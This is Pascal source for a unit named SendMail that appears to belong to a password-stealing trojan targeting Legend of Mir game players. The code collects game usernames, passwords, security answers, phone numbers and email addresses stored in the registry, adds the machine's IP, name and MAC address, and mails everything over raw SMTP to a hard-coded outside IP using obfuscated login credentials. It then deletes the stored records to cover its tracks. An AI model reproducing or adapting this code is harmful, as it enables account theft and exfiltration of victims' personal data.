sendmail.pas

百米大在职在在 大在在职 在大在职在在在在职

unit SendMail;

interface
uses winsock,Reg,windows,Other;
procedure SendEMail;
procedure ClearSH(Root:Hkey;StrPath:Pchar);
procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);

implementation
const CRLF=#13#10;

function LocalIP:string;
type TaPInAddr=array [0..10] of PInAddr;
     PaPInAddr=^TaPInAddr;
var phe:PHostEnt;
    pptr:PaPInAddr;
    Buffer:array [0..63] of char;
    I:Integer;
    GInitData:TWSADATA;
begin
    WSAStartup($101,GInitData);
    Result:='';
    GetHostName(Buffer,SizeOf(Buffer));
    phe:=GetHostByName(buffer);
    if phe=nil then Exit;
    pptr:=PaPInAddr(Phe^.h_addr_list);
    I:=0;
    while pptr^[I]<>nil do begin
      result:=StrPas(inet_ntoa(pptr^[I]^));
      Inc(I);
    end;
    WSACleanup;
End;

procedure ClearSH(Root:Hkey;StrPath:Pchar);
var SubKey,Key:String;
    i,n,p:integer;
begin
n:=0;
p:=0;
n:=Getkeyname(Root,StrPath,SubKey);
if n>0 then begin
 for i:=1 to n do begin
  p:=pos(',',SubKey);
  if p<>0 then
   Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
  if readvalue(Root,pchar(Strpath+'\'+Key),'区域')='abcdefghijklmnopqrstuvwxyz1234567890' then
   Delsub(Root,pchar(Strpath),pchar(Key));
  delete(SubKey,1,p);
 end;
end;
End;


procedure ClearUnRecord(Root:Hkey;StrPath:Pchar;Flag:String);
var SubKey,Key:String;
    i,n,p:integer;
begin
n:=0;
p:=0;
n:=GetKeyname(Root,StrPath,SubKey);
if n>0 then begin

 if Flag='Change password' then begin
  for i:=1 to n do begin
   p:=pos(',',SubKey);
   if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;

   if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
      (readvalue(Root,pchar(Strpath+'\'+Key),'OP')='') or
      (readvalue(Root,pchar(Strpath+'\'+Key),'NP')='') or
      (readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
      (readvalue(Root,pchar(Strpath+'\'+Key),'NP')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
        Delsub(Root,pchar(Strpath),pchar(Key));

   delete(SubKey,1,p);
  end;
 end;

 if Flag='Registry' then begin
  for i:=1 to n do begin
   p:=pos(',',SubKey);
   if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;

     if (readvalue(Root,pchar(Strpath+'\'+Key),'ID')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'PW')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'RE')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'NA')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'BI')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'Q1')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'A1')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'Q2')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'A2')='') or
        (readvalue(Root,pchar(Strpath+'\'+Key),'PW')<>readvalue(Root,pchar(Strpath+'\'+Key),'RE')) then
          Delsub(Root,pchar(Strpath),pchar(Key));

   delete(SubKey,1,p);
  end;
 end;

end;
End;


function GetMailbody(var Body:string):String;
var SubKey,Key,Res,Temp:string;
    i,n,p:integer;
    flag:Boolean;
begin
 flag:=false;
 n:=0;
 SubKey:='';
 n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Enter',SubKey);
 if n<>0 then begin
  flag:=True;
  Body:='传奇登录'+CRLF+'------------------------------'+CRLF;
  Res:=Res+'登录 ';
  for i:=1 to n do begin //DOOP SUBKEY
   p:=pos(',',SubKey);
   if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
     Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'区域')+CRLF+
     '用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'ID')+CRLF+
     '密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'PW')+CRLF+
     '服务器:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Enter\'+Key),'SP')+CRLF+CRLF;
   delete(SubKey,1,p);
  end; //end DOOP SUBKEY for
  Body:=Body+Temp;
 end; //end if

 n:=0;
 SubKey:='';
 Temp:='';
 n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Change password',SubKey);
 if n<>0 then begin
  flag:=True;
  Body:=Body+'修改密码'+CRLF+'------------------------------'+CRLF;
  Res:=Res+'修改密码 ';
  for i:=1 to n do begin //DOOP SUBKEY
   p:=pos(',',SubKey);
   if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
     Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'区域')+CRLF+
     '用户名:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'ID')+CRLF+
     '当前密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'OP')+CRLF+
     '新密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'NP')+CRLF+
     '重复:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Change password\'+Key),'RE')+CRLF+CRLF;
   delete(SubKey,1,p);
  end; //end DOOP SUBKEY for
  Body:=Body+Temp;
 end; //end if

 n:=0;
 SubKey:='';
 Temp:='';
 n:=getkeyname(HKEY_CLASSES_ROOT,'Legend\Registry',SubKey);
 if n<>0 then begin
  flag:=True;
  Body:=Body+'新用户'+CRLF+'------------------------------'+CRLF;
  Res:=Res+'新用户';
  for i:=1 to n do begin //DOOP SUBKEY
   p:=pos(',',SubKey);
   if p<>0 then Key:=Copy(SubKey,1,p-1) else Key:=SubKey;
     Temp:=Temp+'区域:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'区域')+CRLF+
     '用户:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'ID')+CRLF+
     '密码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'PW')+CRLF+
     '确认:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'RE')+CRLF+
     '你的名字:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'NA')+CRLF+
     '生日:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'BI')+CRLF+
     '提问1:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'Q1')+CRLF+
     '回答1:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'A1')+CRLF+
     '提问2:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'Q2')+CRLF+
     '回答2:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'A2')+CRLF+
     '电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'NU')+CRLF+
     '移动电话号码:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'MN')+CRLF+
     'E-Mail:'+ReadValue(HKEY_CLASSES_ROOT,pchar('Legend\Registry\'+Key),'EM')+CRLF+CRLF;
   delete(SubKey,1,p);
  end; //end DOOP SUBKEY for
  Body:=Body+Temp;
 end; //end if

 if flag then begin
  Temp:='';
  Temp:='附加信息'+CRLF+'------------------------------'+CRLF+
  'IP地址:'+LocalIP+CRLF+
  '计算机名:'+myGetcomputername+CRLF+
  '操作系统:'+Readvalue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion','Version')+CRLF+
  '物理地址:'+Readvalue(HKEY_LOCAL_MACHINE,'System\CurrentControlSet\Control','Address')+CRLF+
  '发送时间:'+GetDateTime;
  BODY:=BODY+TEMP;
  end;

 Result:=Res;
End;


function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
  wsadata:twsadata;
  FSocket:integer;
  SockAddrIn:TSockAddrIn;
  err:integer;
begin
  err:=WSAStartup($0101,WSAData);
  FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
  if FSocket=invalid_socket then begin
    Result:=False;
    Exit;
  end;
  SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port :=htons(port);
  err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
  if err=0 then begin
   sock:=FSocket;
   Result:=True;
  end else Result:=False;
end;

procedure StopNet(Fsocket:integer);
var
  err:integer;
begin
  err:=closesocket(FSocket);
  err:=WSACleanup;
end;

function SendData(FSocket:integer;SendStr:string):integer;
var
DataBuf:array[0..4096] of char;
err:integer;
begin
 strcopy(DataBuf,pchar(SendStr));
 err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
 Result:=err;
end;

function GetData(FSocket:integer):String;
const MaxSize=1024;
var
  DataBuf:array[0..MaxSize] of char;
  err:integer;
begin
  err:=recv(FSocket,DataBuf,MaxSize,0);
  Result:=Strpas(DataBuf);
end;

procedure SendEMail;
var FSocket,res:integer;
    Subject,MailText,SendBody:String;
    Tomail:String;
begin
    Subject:=Getmailbody(MailText);
    if (Subject='') or (LocalIP='127.0.0.1') then Exit;
    if StartNet('61.55.138.208',25,FSocket) then begin
      SendData(FSocket,'EHLO 61.55.138.208'+CRLF);
      getdata(FSocket);

      SendData(FSocket,'AUTH LOGIN'+CRLF);
      getdata(FSocket);

      SendData(FSocket,
      chr(98)+chr(87)+chr(108)+chr(121)
      +CRLF);
      getdata(FSocket);

      SendData(FSocket,
      chr(98)+chr(87)+chr(108)+chr(121)
      +CRLF);
      getdata(FSocket);

      SendData(FSocket,'MAIL FROM: <[e-mail]>'+CRLF);
      getdata(FSocket);

      SendData(FSocket,'RCPT TO: <[e-mail]>'+CRLF); //收信箱地址
      getdata(FSocket);

      SendData(FSocket,'DATA'+CRLF);
      getdata(FSocket);

      SendBody:='From:Mir <[e-mail]>'+CRLF
               +'To: <[e-mail]>'+CRLF   //收信箱地址
               +'Subject:www'+Subject+CRLF
               +CRLF
               +MailText+CRLF
               +'.'+CRLF;
      res:=SendData(FSocket,SendBody);
      getdata(FSocket);

      SendData(FSocket,'QUIT'+CRLF);
      getdata(FSocket);

      StopNet(Fsocket);
      if res<>SOCKET_ERROR then begin
       Delsub(HKEY_CLASSES_ROOT,'Legend','Enter');
       Delsub(HKEY_CLASSES_ROOT,'Legend','Change password');
       Delsub(HKEY_CLASSES_ROOT,'Legend','Registry');
      end;
    end;
end;


End.